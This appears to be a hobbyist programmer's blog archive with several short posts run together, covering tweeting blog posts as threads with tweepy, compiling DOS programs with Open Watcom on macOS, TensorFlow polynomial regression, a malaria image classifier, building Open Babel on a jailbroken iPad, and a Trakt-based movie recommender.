Remember to replace any spaces in the flair with _

E.g. flair:Snail_Mail limited to r/penpals will only show posts that have the flair Snail Mail.

I wish this was documented somewhere.

I finally completed my first quick and dirty vaporwave remix of "I Want It That Way" by the Backstreet Boys

V A P O R W A V E

Vaporwave is all about A E S T H E T I C S. Vaporwave is a type of music genre that emerged as a parody of Chillwave, shared more as a meme rather than a proper musical genre. Of course this changed as the genre become mature

How to Vaporwave

The first track which is considered to be actual Vaporwave is Ramona Xavier's Macintosh Plus, this set the guidelines for making Vaporwave

• Take a 1980s RnB song
• Slow it down
• Add Bass and Treble
• Add again
• Add Reverb ( make sure its wet )

There you have your very own Vaporwave track.

( Now, there are some tracks being produced which are not remixes and are original )

My Remix

Where is the Programming?

The fact that there are steps on producing Vaporwave, this gave me the idea that Vaporwave can actually be made using programming, stay tuned for when I publish the program which I am working on ( Generating A E S T H E T I C artwork and remixes)

Why? Eh, no good reason, but should be fun.

Plan of Action

I recently shifted my website to a static site generator I wrote specifically for myself. Thus, it should be easy to just add a feature to check for new posts, split the text into chunks for Twitter threads and tweet them. I am not handling lists or images right now.

Time to Code

First, the dependency: tweepy for tweeting.

pip install tweepy

import os
import tweepy

consumer_key = os.environ["consumer_key"]
consumer_secret = os.environ["consumer_secret"]

access_token = os.environ["access_token"]
access_token_secret = os.environ["access_token_secret"]

auth = tweepy.OAuthHandler(consumer_key, consumer_secret)
auth.set_access_token(access_token, access_token_secret)

api = tweepy.API(auth)

The program need to convert the blog post into text fragments.

It reads the markdown file, removes the top YAML content, checks for headers and splits the content.

tweets = []

first___n = 0

with open(sample_markdown_file) as f:
    for line in f.readlines():
        if first___n <= 1:
            if line == "---\n":
                first___n += 1
            continue
        line = line.strip()
        line += " "
        if "#" in line:
            line = line.replace("#","")
            line.strip()
            line = "\n" + line
            line += "\n\n"
        try:
            if len(tweets[-1]) < 260 and (len(tweets[-1]) + len(line)) <= 260:
                tweets[-1] += line
            else:
                tweets.append(line)
        except IndexError:
            if len(line) > 260:
                print("ERROR")
            else:
                tweets.append(line)

Every status update using tweepy has an id attached to it, for the next tweet in the thread, it adds that ID while calling the function.

For every tweet fragment, it also appends 1/n.

for idx, tweet in enumerate(tweets):
    tweet += " {}/{}".format(idx+1,len(tweets))
    if idx == 0:
        a = None
        a = api.update_status(tweet)
    else:
        a = api.update_status(tweet,in_reply_to_status_id=a.id)
    print(len(tweet),end=" ")
    print("{}/{}\n".format(idx+1,len(tweets)))

Finally, it replies to the last tweet in the thread with the link of the post.

api.update_status("Web Version: {}".format(post_link))

Result

Posting Blog Posts as Twitter Threads Part 1/n

Why? Eh, no good reason, but should be fun.
Plan of Action

I recently shifted my website to a static site generator I wrote specifically for myself. 1/5

— Navan Chauhan (@navanchauhan) June 24, 2021

Web Version: https://t.co/zROU1F5DYv

— Navan Chauhan (@navanchauhan) June 24, 2021

What's Next?

For the next part, I will try to append the code as well. I actually added the code to this post after running the program.

Technically this should work for any platform that OpenWatcom 2 supports compiling binaries for. Some instructions are based on a post at retrocoding.net, and John Tsiombikas's post

Prerequisites

You should already have XCode / Command Line Tools, and Homebrew installed. To compile Open Watcom for DOS you will need DOSBox (I use DOSBox-X).

brew install --cask dosbox-x

Compiling Open Watcom v2

If this process is super annoying, I might make a custom homebrew tap to build and install Open Watcom

git clone https://github.com/open-watcom/open-watcom-v2
cp open-watcom-v2/setvars.sh custom_setvars.sh

Now, edit this setvars.sh file. My file looks like this:

#!/bin/zsh
export OWROOT="/Users/navanchauhan/Developer/8088Stuff/open-watcom-v2"
export OWTOOLS=CLANG
export OWDOCBUILD=0
export OWGUINOBUILD=0
export OWDISTRBUILD=0
export OWDOSBOX="/Applications/dosbox-x.app/Contents/MacOS/dosbox-x"
export OWOBJDIR=binbuildV01
. "$OWROOT/cmnvars.sh"
echo "OWROOT=$OWROOT"
cd "$OWROOT"

Note, your OWRTOOT is definitely going to be in a different location.

source ./custom_setvars.sh
./build.sh
./build.sh rel

This will build, and then copy everything to the rel directory inside open-watcom-v2 directory. Since I ran this on an Apple Silicon Mac, all the binaries for me are in the armo64 directory. You can now move everything inside the rel folder to another location, or create a simple script to init all variables whenever you want.

I like having a script called exportVarsForDOS.sh

#!/bin/zsh

export WATCOM=/Users/navanchauhan/Developer/8088Stuff/open-watcom-v2/rel
export PATH=$PATH:$WATCOM/armo64
export EDDAT=$WATCOM/eddat

# For DOS 8088/8086 development
export INCLUDE=$WATCOM/h
export LIB=$WATCOM/lib286 # You don't really need this

Then, when you need to load up these variables, you can simply run source exportVarsForDOS.sh or . exportVarsForDOS.sh

Hello World

Buliding without any Makefiles

Create a new file called example1.c

#include<stdio.h>

int main() {
    printf("Hello World!");
    return 0;
}

First we compile the code:

$ wcc example1.c
Open Watcom C x86 16-bit Optimizing Compiler
Version 2.0 beta Mar 15 2024 13:11:55
Copyright (c) 2002-2024 The Open Watcom Contributors. All Rights Reserved.
Portions Copyright (c) 1984-2002 Sybase, Inc. All Rights Reserved.
Source code is available under the Sybase Open Watcom Public License.
See https://github.com/open-watcom/open-watcom-v2#readme for details.
example1.c: 7 lines, included 818, 0 warnings, 0 errors
Code size: 19

Then, link to make an executable:

$ wlink name example1.exe system dos file example1.o
Open Watcom Linker Version 2.0 beta Mar 15 2024 13:10:09
Copyright (c) 2002-2024 The Open Watcom Contributors. All Rights Reserved.
Portions Copyright (c) 1985-2002 Sybase, Inc. All Rights Reserved.
Source code is available under the Sybase Open Watcom Public License.
See https://github.com/open-watcom/open-watcom-v2#readme for details.
loading object files
searching libraries
creating a DOS executable 

If you want to test this executable, jump to the section titled Testing with DOSBox-X below.

Simple Makefile

obj = main.o hello.o
bin = tizts.com

CC = wcc
CFLAGS = -0
LD = wlink

$(bin): $(obj)
    $(LD) name $@ system dos file main.o file hello.o 

.c.o:
    $(CC) $(CFLAGS) $<

clean:
    rm $(obj) $(bin)

Where, main.c

void hello(void);

int main(void)
{
    hello();
    return 0;
}

and hello.c

/* hello.c */
#include <stdio.h>

void hello(void)
{
    printf("Hello!");
}

To compile into tizts.com simply run wmake

$ wmake
➜  simple-cpp wmake
Open Watcom Make Version 2.0 beta Mar 15 2024 13:10:16
Copyright (c) 2002-2024 The Open Watcom Contributors. All Rights Reserved.
Portions Copyright (c) 1988-2002 Sybase, Inc. All Rights Reserved.
Source code is available under the Sybase Open Watcom Public License.
See https://github.com/open-watcom/open-watcom-v2#readme for details.
    wcc -0 main.c
Open Watcom C x86 16-bit Optimizing Compiler
Version 2.0 beta Mar 15 2024 13:11:55
Copyright (c) 2002-2024 The Open Watcom Contributors. All Rights Reserved.
Portions Copyright (c) 1984-2002 Sybase, Inc. All Rights Reserved.
Source code is available under the Sybase Open Watcom Public License.
See https://github.com/open-watcom/open-watcom-v2#readme for details.
main.c(8): Warning! W138: No newline at end of file
main.c: 8 lines, included 53, 1 warnings, 0 errors
Code size: 12
    wcc -0 hello.c
Open Watcom C x86 16-bit Optimizing Compiler
Version 2.0 beta Mar 15 2024 13:11:55
Copyright (c) 2002-2024 The Open Watcom Contributors. All Rights Reserved.
Portions Copyright (c) 1984-2002 Sybase, Inc. All Rights Reserved.
Source code is available under the Sybase Open Watcom Public License.
See https://github.com/open-watcom/open-watcom-v2#readme for details.
hello.c: 8 lines, included 818, 0 warnings, 0 errors
Code size: 17
    wlink name tizts.com system dos file main.o file hello.o
Open Watcom Linker Version 2.0 beta Mar 15 2024 13:10:09
Copyright (c) 2002-2024 The Open Watcom Contributors. All Rights Reserved.
Portions Copyright (c) 1985-2002 Sybase, Inc. All Rights Reserved.
Source code is available under the Sybase Open Watcom Public License.
See https://github.com/open-watcom/open-watcom-v2#readme for details.
loading object files
searching libraries
creating a DOS executable

Using CMake

Create a file called CMakeLists.txt

project(hello)

set(SOURCES abc.c)

add_executable(hello ${SOURCES})

Where, abc.c is:

#include <stdio.h>

int main() {
    printf("Does this work?");
    return 0;
}

mkdir build
cd build

And build using CMake

cmake -DCMAKE_SYSTEM_NAME=DOS -DCMAKE_SYSTEM_PROCESSOR=I86 -DCMAKE_C_FLAGS="-0 -bt=dos -d0 -oaxt" -G "Watcom WMake" ../..

There you have it. Three different ways to compile a C program on a macOS device in 2024 that can run on an IBM PC 5150 (which was released in 1981!)

Testing with DOSBox-X

cp example1.exe ~/Downloads
/Applications/dosbox-x.app/Contents/MacOS/dosbox-x

In DOSBox-X we now mount the ~/Downloads folder as our C: drive

mount C ~/Downloads

Switch to the C drive

C:

Run the program:

example1

My DOSBox setup might look slightly different than yours...

I have a similar post titled Polynomial Regression Using Tensorflow that used tensorflow.compat.v1 (Which still works as of TF 2.16). But, I thought it would be nicer to redo it with newer TF versions.

I will be skipping all the introductions about polynomial regression and jumping straight to the code. Personally, I prefer using scikit-learn for this task.

Position vs Salary Dataset

Again, we will be using https://drive.google.com/file/d/1tNL4jxZEfpaP4oflfSn6pIHJX7Pachm9/view (Salary vs Position Dataset)

If you are in a Python Notebook environment like Kaggle or Google Colaboratory, you can simply run:

!wget --no-check-certificate 'https://docs.google.com/uc?export=download&id=1tNL4jxZEfpaP4oflfSn6pIHJX7Pachm9' -O data.csv

Code

If you just want to copy-paste the code, scroll to the bottom for the entire snippet. Here I will try and walk through setting up code for a 3rd-degree (cubic) polynomial

Imports

import pandas as pd
import tensorflow as tf
import matplotlib.pyplot as plt
import numpy as np

Reading the Dataset

df = pd.read_csv("data.csv")

Variables and Constants

Here, we initialize the X and Y values as constants, since they are not going to change. The coefficients are defined as variables.

X = tf.constant(df["Level"], dtype=tf.float32)
Y = tf.constant(df["Salary"], dtype=tf.float32)

coefficients = [tf.Variable(np.random.randn() * 0.01, dtype=tf.float32) for _ in range(4)]

Here, X and Y are the values from our dataset. We initialize the coefficients for the equations as small random values.

These coefficients are evaluated by Tensorflow's tf.math.poyval function which returns the n-th order polynomial based on how many coefficients are passed. Since our list of coefficients contains 4 different variables, it will be evaluated as:

y = (x**3)*coefficients[3] + (x**2)*coefficients[2] + (x**1)*coefficients[1] (x**0)*coefficients[0]

Which is equivalent to the general cubic equation:

Optimizer Selection & Training

optimizer = tf.keras.optimizers.Adam(learning_rate=0.3)
num_epochs = 10_000

for epoch in range(num_epochs):
    with tf.GradientTape() as tape:
        y_pred = tf.math.polyval(coefficients, X)
        loss = tf.reduce_mean(tf.square(y - y_pred))
    grads = tape.gradient(loss, coefficients)
    optimizer.apply_gradients(zip(grads, coefficients))
    if (epoch+1) % 1000 == 0:
        print(f"Epoch: {epoch+1}, Loss: {loss.numpy()}"

In TensorFlow 1, we would have been using tf.Session instead.

Here we are using GradientTape() instead, to keep track of the loss evaluation and coefficients. This is crucial, as our optimizer needs these gradients to be able to optimize our coefficients.

Our loss function is Mean Squared Error (MSE):

Where $\widehat{Y_i}$ is the predicted value and $Y_i$ is the actual value

Plotting Final Coefficients

final_coefficients = [c.numpy() for c in coefficients]
print("Final Coefficients:", final_coefficients)

plt.plot(df["Level"], df["Salary"], label="Original Data")
plt.plot(df["Level"],[tf.math.polyval(final_coefficients, tf.constant(x, dtype=tf.float32)).numpy() for x in df["Level"]])
plt.ylabel('Salary')
plt.xlabel('Position')
plt.title("Salary vs Position")
plt.show()

Code Snippet for a Polynomial of Degree N

Using Gradient Tape

This should work regardless of the Keras backend version (2 or 3)

import tensorflow as tf
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt

df = pd.read_csv("data.csv")

############################
## Change Parameters Here ##
############################
x_column = "Level"         #
y_column = "Salary"        #
degree = 2                 #
learning_rate = 0.3        #
num_epochs = 25_000        #
############################

X = tf.constant(df[x_column], dtype=tf.float32)
Y = tf.constant(df[y_column], dtype=tf.float32)

coefficients = [tf.Variable(np.random.randn() * 0.01, dtype=tf.float32) for _ in range(degree + 1)]

optimizer = tf.keras.optimizers.Adam(learning_rate=learning_rate)

for epoch in range(num_epochs):
    with tf.GradientTape() as tape:
        y_pred = tf.math.polyval(coefficients, X)
        loss = tf.reduce_mean(tf.square(Y - y_pred))
    grads = tape.gradient(loss, coefficients)
    optimizer.apply_gradients(zip(grads, coefficients))
    if (epoch+1) % 1000 == 0:
        print(f"Epoch: {epoch+1}, Loss: {loss.numpy()}")

final_coefficients = [c.numpy() for c in coefficients]
print("Final Coefficients:", final_coefficients)

print("Final Equation:", end=" ")
for i in range(degree+1):
  print(f"{final_coefficients[i]} * x^{degree-i}", end=" + " if i < degree else "\n")

plt.plot(X, Y, label="Original Data")
plt.plot(X,[tf.math.polyval(final_coefficients, tf.constant(x, dtype=tf.float32)).numpy() for x in df[x_column]]), label="Our Poynomial"
plt.ylabel(y_column)
plt.xlabel(x_column)
plt.title(f"{x_column} vs {y_column}")
plt.legend()
plt.show()

Without Gradient Tape

This relies on the Optimizer's minimize function and uses the var_list parameter to update the variables.

This will not work with Keras 3 backend in TF 2.16.0 and above unless you switch to the legacy backend.

import tensorflow as tf
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt

df = pd.read_csv("data.csv")

############################
## Change Parameters Here ##
############################
x_column = "Level"         #
y_column = "Salary"        #
degree = 2                 #
learning_rate = 0.3        #
num_epochs = 25_000        #
############################

X = tf.constant(df[x_column], dtype=tf.float32)
Y = tf.constant(df[y_column], dtype=tf.float32)

coefficients = [tf.Variable(np.random.randn() * 0.01, dtype=tf.float32) for _ in range(degree + 1)]

optimizer = tf.keras.optimizers.Adam(learning_rate=learning_rate)

def loss_function():
  pred_y = tf.math.polyval(coefficients, X)
  return tf.reduce_mean(tf.square(pred_y - Y))

for epoch in range(num_epochs):
    optimizer.minimize(loss_function, var_list=coefficients)
    if (epoch+1) % 1000 == 0:
        current_loss = loss_function().numpy()
        print(f"Epoch {epoch+1}: Training Loss: {current_loss}")

final_coefficients = coefficients.numpy()
print("Final Coefficients:", final_coefficients)

print("Final Equation:", end=" ")
for i in range(degree+1):
  print(f"{final_coefficients[i]} * x^{degree-i}", end=" + " if i < degree else "\n")

plt.plot(X, Y, label="Original Data")
plt.plot(X,[tf.math.polyval(final_coefficients, tf.constant(x, dtype=tf.float32)).numpy() for x in df[x_column]], label="Our Polynomial")
plt.ylabel(y_column)
plt.xlabel(x_column)
plt.legend()
plt.title(f"{x_column} vs {y_column}")
plt.show()

As always, remember to tweak the parameters and choose the correct model for the job. A polynomial regression model might not even be the best model for this particular dataset.

Further Programming

How would you modify this code to use another type of nonlinear regression? Say,

Hint: Your loss calculation would be similar to:

bx = tf.pow(coefficients[1], X)
pred_y = tf.math.multiply(coefficients[0], bx)
loss = tf.reduce_mean(tf.square(pred_y - Y))

Why a Hello World post?

Just re-did the entire website using Publish (Publish by John Sundell). So, a new hello world post :)

https://s3-us-west-2.amazonaws.com/s.cdpn.io/148866/img-original.jpg

In order to be able to access Kaggle Datasets, you will need to have an account on Kaggle (which is Free)

Grabbing Our Tokens

Go to Kaggle

Click on your User Profile and Click on My Account

Scroll Down until you see Create New API Token

This will download your token as a JSON file

Copy the File to the root folder of your Google Drive

Setting up Colab

Mounting Google Drive

import os
from google.colab import drive
drive.mount('/content/drive')

After this click on the URL in the output section, login and then paste the Auth Code

Configuring Kaggle

os.environ['KAGGLE_CONFIG_DIR'] = "/content/drive/My Drive/"

Voila! You can now download Kaggle datasets

Done during Google Code-In. Org: Tensorflow.

Imports

%tensorflow_version 2.x #This is for telling Colab that you want to use TF 2.0, ignore if running on local machine

from PIL import Image # We use the PIL Library to resize images
import numpy as np
import os
import cv2
import tensorflow as tf
from tensorflow.keras import datasets, layers, models
import pandas as pd
import matplotlib.pyplot as plt
from keras.models import Sequential
from keras.layers import Conv2D,MaxPooling2D,Dense,Flatten,Dropout

Dataset

Fetching the Data

!wget ftp://lhcftp.nlm.nih.gov/Open-Access-Datasets/Malaria/cell_images.zip
!unzip cell_images.zip

Processing the Data

We resize all the images as 50x50 and add the numpy array of that image as well as their label names (Infected or Not) to common arrays.

data = []
labels = []

Parasitized = os.listdir("./cell_images/Parasitized/")
for parasite in Parasitized:
    try:
        image=cv2.imread("./cell_images/Parasitized/"+parasite)
        image_from_array = Image.fromarray(image, 'RGB')
        size_image = image_from_array.resize((50, 50))
        data.append(np.array(size_image))
        labels.append(0)
    except AttributeError:
        print("")

Uninfected = os.listdir("./cell_images/Uninfected/")
for uninfect in Uninfected:
    try:
        image=cv2.imread("./cell_images/Uninfected/"+uninfect)
        image_from_array = Image.fromarray(image, 'RGB')
        size_image = image_from_array.resize((50, 50))
        data.append(np.array(size_image))
        labels.append(1)
    except AttributeError:
        print("")

Splitting Data

df = np.array(data)
labels = np.array(labels)
(X_train, X_test) = df[(int)(0.1*len(df)):],df[:(int)(0.1*len(df))]
(y_train, y_test) = labels[(int)(0.1*len(labels)):],labels[:(int)(0.1*len(labels))]

s=np.arange(X_train.shape[0])
np.random.shuffle(s)
X_train=X_train[s]
y_train=y_train[s]
X_train = X_train/255.0

Model

Creating Model

By creating a sequential model, we create a linear stack of layers.

Note: The input shape for the first layer is 50,50 which corresponds with the sizes of the resized images

model = models.Sequential()
model.add(layers.Conv2D(filters=16, kernel_size=2, padding='same', activation='relu', input_shape=(50,50,3)))
model.add(layers.MaxPooling2D(pool_size=2))
model.add(layers.Conv2D(filters=32,kernel_size=2,padding='same',activation='relu'))
model.add(layers.MaxPooling2D(pool_size=2))
model.add(layers.Conv2D(filters=64,kernel_size=2,padding="same",activation="relu"))
model.add(layers.MaxPooling2D(pool_size=2))
model.add(layers.Dropout(0.2))
model.add(layers.Flatten())
model.add(layers.Dense(500,activation="relu"))
model.add(layers.Dropout(0.2))
model.add(layers.Dense(2,activation="softmax"))#2 represent output layer neurons 
model.summary()

Compiling Model

We use the Adam optimiser as it is an adaptive learning rate optimisation algorithm that's been designed specifically for training deep neural networks, which means it changes its learning rate automatically to get the best results

model.compile(optimizer="adam",
              loss="sparse_categorical_crossentropy", 
             metrics=["accuracy"])

Training Model

We train the model for 10 epochs on the training data and then validate it using the testing data

history = model.fit(X_train,y_train, epochs=10, validation_data=(X_test,y_test))

Train on 24803 samples, validate on 2755 samples
Epoch 1/10
24803/24803 [==============================] - 57s 2ms/sample - loss: 0.0786 - accuracy: 0.9729 - val_loss: 0.0000e+00 - val_accuracy: 1.0000
Epoch 2/10
24803/24803 [==============================] - 58s 2ms/sample - loss: 0.0746 - accuracy: 0.9731 - val_loss: 0.0290 - val_accuracy: 0.9996
Epoch 3/10
24803/24803 [==============================] - 58s 2ms/sample - loss: 0.0672 - accuracy: 0.9764 - val_loss: 0.0000e+00 - val_accuracy: 1.0000
Epoch 4/10
24803/24803 [==============================] - 58s 2ms/sample - loss: 0.0601 - accuracy: 0.9789 - val_loss: 0.0000e+00 - val_accuracy: 1.0000
Epoch 5/10
24803/24803 [==============================] - 58s 2ms/sample - loss: 0.0558 - accuracy: 0.9804 - val_loss: 0.0000e+00 - val_accuracy: 1.0000
Epoch 6/10
24803/24803 [==============================] - 57s 2ms/sample - loss: 0.0513 - accuracy: 0.9819 - val_loss: 0.0000e+00 - val_accuracy: 1.0000
Epoch 7/10
24803/24803 [==============================] - 58s 2ms/sample - loss: 0.0452 - accuracy: 0.9849 - val_loss: 0.3190 - val_accuracy: 0.9985
Epoch 8/10
24803/24803 [==============================] - 58s 2ms/sample - loss: 0.0404 - accuracy: 0.9858 - val_loss: 0.0000e+00 - val_accuracy: 1.0000
Epoch 9/10
24803/24803 [==============================] - 58s 2ms/sample - loss: 0.0352 - accuracy: 0.9878 - val_loss: 0.0000e+00 - val_accuracy: 1.0000
Epoch 10/10
24803/24803 [==============================] - 58s 2ms/sample - loss: 0.0373 - accuracy: 0.9865 - val_loss: 0.0000e+00 - val_accuracy: 1.0000

Results

accuracy = history.history['accuracy'][-1]*100
loss = history.history['loss'][-1]*100
val_accuracy = history.history['val_accuracy'][-1]*100
val_loss = history.history['val_loss'][-1]*100

print(
    'Accuracy:', accuracy,
    '\nLoss:', loss,
    '\nValidation Accuracy:', val_accuracy,
    '\nValidation Loss:', val_loss
)

Accuracy: 98.64532351493835 
Loss: 3.732407123270176 
Validation Accuracy: 100.0 
Validation Loss: 0.0

We have achieved 98% Accuracy!

Link to Colab Notebook

Due to the fact that my summer vacations started today, I had the brilliant idea of trying to run open babel on my iPad. To give a little background, I had tried to compile AutoDock Vina using a cross-compiler but I had miserably failed.

I am running the Checkr1n jailbreak on my iPad and the Unc0ver jailbreak on my phone.

But Why?

Well, just because I can. This is literally the only reason I tried compiling it and also partially because in the long run I want to compile AutoDock Vina so I can do Molecular Docking on the go.

Let's Go!

How hard can it be to compile open babel right? It is just a simple software with clear and concise build instructions. I just need to use cmake to build and the make to install.

It is 11 AM in the morning. I install clang, cmake and make from the Sam Bingner's repository, fired up ssh, downloaded the source code and ran the build command.`clang

Fail No. 1

I couldn't even get cmake to run, I did a little digging around StackOverflow and founf that I needed the iOS SDK, sure no problem. I waited for Xcode to update and transferred the SDKs to my iPad

scp -r /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS.sdk root@192.168.1.8:/var/sdks/

Them I told cmake that this is the location for my SDK 😠. Successful! Now I just needed to use make.

Fail No. 2

It was giving the error that thread-local-storage was not supported on this device.

[  0%] Building CXX object src/CMakeFiles/openbabel.dir/alias.cpp.o
[  1%] Building CXX object src/CMakeFiles/openbabel.dir/atom.cpp.o
In file included from /var/root/obabel/ob-src/src/atom.cpp:28:
In file included from /var/root/obabel/ob-src/include/openbabel/ring.h:29:
/var/root/obabel/ob-src/include/openbabel/typer.h:70:1: error: thread-local storage is not supported for the current target
THREAD_LOCAL OB_EXTERN OBAtomTyper      atomtyper;
^
/var/root/obabel/ob-src/include/openbabel/mol.h:35:24: note: expanded from macro 'THREAD_LOCAL'
#  define THREAD_LOCAL thread_local
                       ^
In file included from /var/root/obabel/ob-src/src/atom.cpp:28:
In file included from /var/root/obabel/ob-src/include/openbabel/ring.h:29:
/var/root/obabel/ob-src/include/openbabel/typer.h:84:1: error: thread-local storage is not supported for the current target
THREAD_LOCAL OB_EXTERN OBAromaticTyper  aromtyper;
^
/var/root/obabel/ob-src/include/openbabel/mol.h:35:24: note: expanded from macro 'THREAD_LOCAL'
#  define THREAD_LOCAL thread_local
                       ^
/var/root/obabel/ob-src/src/atom.cpp:107:10: error: thread-local storage is not supported for the current target
  extern THREAD_LOCAL OBAromaticTyper  aromtyper;
         ^
/var/root/obabel/ob-src/include/openbabel/mol.h:35:24: note: expanded from macro 'THREAD_LOCAL'
#  define THREAD_LOCAL thread_local
                       ^
/var/root/obabel/ob-src/src/atom.cpp:108:10: error: thread-local storage is not supported for the current target
  extern THREAD_LOCAL OBAtomTyper      atomtyper;
         ^
/var/root/obabel/ob-src/include/openbabel/mol.h:35:24: note: expanded from macro 'THREAD_LOCAL'
#  define THREAD_LOCAL thread_local
                       ^
/var/root/obabel/ob-src/src/atom.cpp:109:10: error: thread-local storage is not supported for the current target
  extern THREAD_LOCAL OBPhModel        phmodel;
         ^
/var/root/obabel/ob-src/include/openbabel/mol.h:35:24: note: expanded from macro 'THREAD_LOCAL'
#  define THREAD_LOCAL thread_local
                       ^
5 errors generated.
make[2]: *** [src/CMakeFiles/openbabel.dir/build.make:76: src/CMakeFiles/openbabel.dir/atom.cpp.o] Error 1
make[1]: *** [CMakeFiles/Makefile2:1085: src/CMakeFiles/openbabel.dir/all] Error 2
make: *** [Makefile:129: all] Error 2

Strange but it is alright, there is nothing that hasn't been answered on the internet.

I did a little digging around and could not find a solution 😔

As a temporary fix, I disabled multithreading by going and commenting the lines in the source code.

Packaging as a deb

This was pretty straight forward, I tried installing it on my iPad and it was working pretty smoothly.

Moment of Truth

So I airdropped the .deb to my phone and tried installing it, the installation was successful but when I tried obabel it just aborted.

Turns out because I had created an install target of a separate folder while compiling, the binaries were referencing a non-existing dylib rather than those in the /usr/lib folder. As a quick workaround I transferred the deb folder to my laptop and used otool and install_name tool: install_name_tool -change /var/root/obabel/ob-build/lib/libopenbabel.7.dylib /usr/lib/libopenbabel.7.dylib for all the executables and then signed them using jtool

I then installed it and everything went smoothly, I even ran obabel and it executed perfectly, showing the version number 3.1.0 ✌️ Ahh, smooth victory.

Nope. When I tried converting from SMILES to pdbqt, it gave an error saying plugin not found. This was weird.

So I just copied the entire build folder from my iPad to my phone and tried running it. Oops, Apple Sandbox Error, Oh no!

I spent 2 hours around this problem, only to see the documentation and realise I hadn't setup the environment variable 🤦‍♂️

The Final Fix ( For Now )

export BABEL_DATADIR="/usr/share/openbabel/3.1.0"
export BABEL_LIBDIR="/usr/lib/openbabel/3.1.0"

This was the tragedy of trying to compile something without knowing enough about compiling. It is 11:30 as of writing this. Something as trivial as this should not have taken me so long. Am I going to try to compile AutoDock Vina next? 🤔 Maybe.

Also, if you want to try Open Babel on you jailbroken iDevice, install the package from my repository ( You, need to run the above mentioned final fix :p ). This was tested on iOS 13.5, I cannot tell if it will work on others or not.

Hopefully, I add some more screenshots to this post.

Edit 1: Added Screenshots, had to replicate the errors.

Why?

I recently came across a movie/tv-show recommender, couchmoney.tv. I loved it. I decided that I wanted to build something similar, so I could tinker with it as much as I wanted.

I also wanted a recommendation system I could use via a REST API. Although I have not included that part in this post, I did eventually create it.

How?

By measuring the cosine of the angle between two vectors, you can get a value in the range [0,1] with 0 meaning no similarity. Now, if we find a way to represent information about movies as a vector, we can use cosine similarity as a metric to find similar movies.

As we are recommending just based on the content of the movies, this is called a content based recommendation system.

Data Collection

Trakt exposes a nice API to search for movies/tv-shows. To access the API, you first need to get an API key (the Trakt ID you get when you create a new application).

I decided to use SQL-Alchemy with a SQLite backend just to make my life easier if I decided on switching to Postgres anytime I felt like.

First, I needed to check the total number of records in Trakt’s database.

import requests
import os

trakt_id = os.getenv("TRAKT_ID")

api_base = "https://api.trakt.tv"

headers = {
    "Content-Type": "application/json",
    "trakt-api-version": "2",
    "trakt-api-key": trakt_id
}

params = {
    "query": "",
    "years": "1900-2021",
    "page": "1",
    "extended": "full",
    "languages": "en"
}

res = requests.get(f"{api_base}/search/movie",headers=headers,params=params)
total_items = res.headers["x-pagination-item-count"]
print(f"There are {total_items} movies")

There are 333946 movies

First, I needed to declare the database schema in (database.py):

import sqlalchemy
from sqlalchemy import create_engine
from sqlalchemy import Table, Column, Integer, String, MetaData, ForeignKey, PickleType
from sqlalchemy import insert
from sqlalchemy.orm import sessionmaker
from sqlalchemy.exc import IntegrityError

meta = MetaData()

movies_table = Table(
    "movies",
    meta,
    Column("trakt_id", Integer, primary_key=True, autoincrement=False),
    Column("title", String),
    Column("overview", String),
    Column("genres", String),
    Column("year", Integer),
    Column("released", String),
    Column("runtime", Integer),
    Column("country", String),
    Column("language", String),
    Column("rating", Integer),
    Column("votes", Integer),
    Column("comment_count", Integer),
    Column("tagline", String),
    Column("embeddings", PickleType)

)

# Helper function to connect to the db
def init_db_stuff(database_url: str):
    engine = create_engine(database_url)
    meta.create_all(engine)
    Session = sessionmaker(bind=engine)
    return engine, Session

In the end, I could have dropped the embeddings field from the table schema as I never got around to using it.

Scripting Time

from database import *
from tqdm import tqdm
import requests
import os

trakt_id = os.getenv("TRAKT_ID")

max_requests = 5000 # How many requests I wanted to wrap everything up in
req_count = 0 # A counter for how many requests I have made

years = "1900-2021" 
page = 1 # The initial page number for the search
extended = "full" # Required to get additional information 
limit = "10" # No of entires per request -- This will be automatically picked based on max_requests
languages = "en" # Limit to English

api_base = "https://api.trakt.tv"
database_url = "sqlite:///jlm.db"

headers = {
    "Content-Type": "application/json",
    "trakt-api-version": "2",
    "trakt-api-key": trakt_id
}

params = {
    "query": "",
    "years": years,
    "page": page,
    "extended": extended,
    "limit": limit,
    "languages": languages
}

# Helper function to get desirable values from the response
def create_movie_dict(movie: dict):
    m = movie["movie"]
    movie_dict = {
        "title": m["title"],
        "overview": m["overview"],
        "genres": m["genres"],
        "language": m["language"],
        "year": int(m["year"]),
        "trakt_id": m["ids"]["trakt"],
        "released": m["released"],
        "runtime": int(m["runtime"]),
        "country": m["country"],
        "rating": int(m["rating"]),
        "votes": int(m["votes"]),
        "comment_count": int(m["comment_count"]),
        "tagline": m["tagline"]
    }
    return movie_dict

# Get total number of items
params["limit"] = 1
res = requests.get(f"{api_base}/search/movie",headers=headers,params=params)
total_items = res.headers["x-pagination-item-count"]

engine, Session = init_db_stuff(database_url)


for page in tqdm(range(1,max_requests+1)):
    params["page"] = page
    params["limit"] = int(int(total_items)/max_requests)
    movies = []
    res = requests.get(f"{api_base}/search/movie",headers=headers,params=params)

    if res.status_code == 500:
        break
    elif res.status_code == 200:
        None
    else:
        print(f"OwO Code {res.status_code}")

    for movie in res.json():
        movies.append(create_movie_dict(movie))

    with engine.connect() as conn:
        for movie in movies:
            with conn.begin() as trans:
                stmt = insert(movies_table).values(
                    trakt_id=movie["trakt_id"], title=movie["title"], genres=" ".join(movie["genres"]),
                    language=movie["language"], year=movie["year"], released=movie["released"],
                    runtime=movie["runtime"], country=movie["country"], overview=movie["overview"],
                    rating=movie["rating"], votes=movie["votes"], comment_count=movie["comment_count"],
                    tagline=movie["tagline"])
                try:
                    result = conn.execute(stmt)
                    trans.commit()
                except IntegrityError:
                    trans.rollback()
    req_count += 1

(Note: I was well within the rate-limit so I did not have to slow down or implement any other measures)

Running this script took me approximately 3 hours, and resulted in an SQLite database of 141.5 MB

Embeddings!

I did not want to put my poor Mac through the estimated 23 hours it would have taken to embed the sentences. I decided to use Google Colab instead.

Because of the small size of the database file, I was able to just upload the file.

For the encoding model, I decided to use the pretrained paraphrase-multilingual-MiniLM-L12-v2 model for SentenceTransformers, a Python framework for SOTA sentence, text and image embeddings. I wanted to use a multilingual model as I personally consume content in various languages and some of the sources for their information do not translate to English. As of writing this post, I did not include any other database except Trakt.

While deciding how I was going to process the embeddings, I came across multiple solutions:

• Milvus - An open-source vector database with similar search functionality

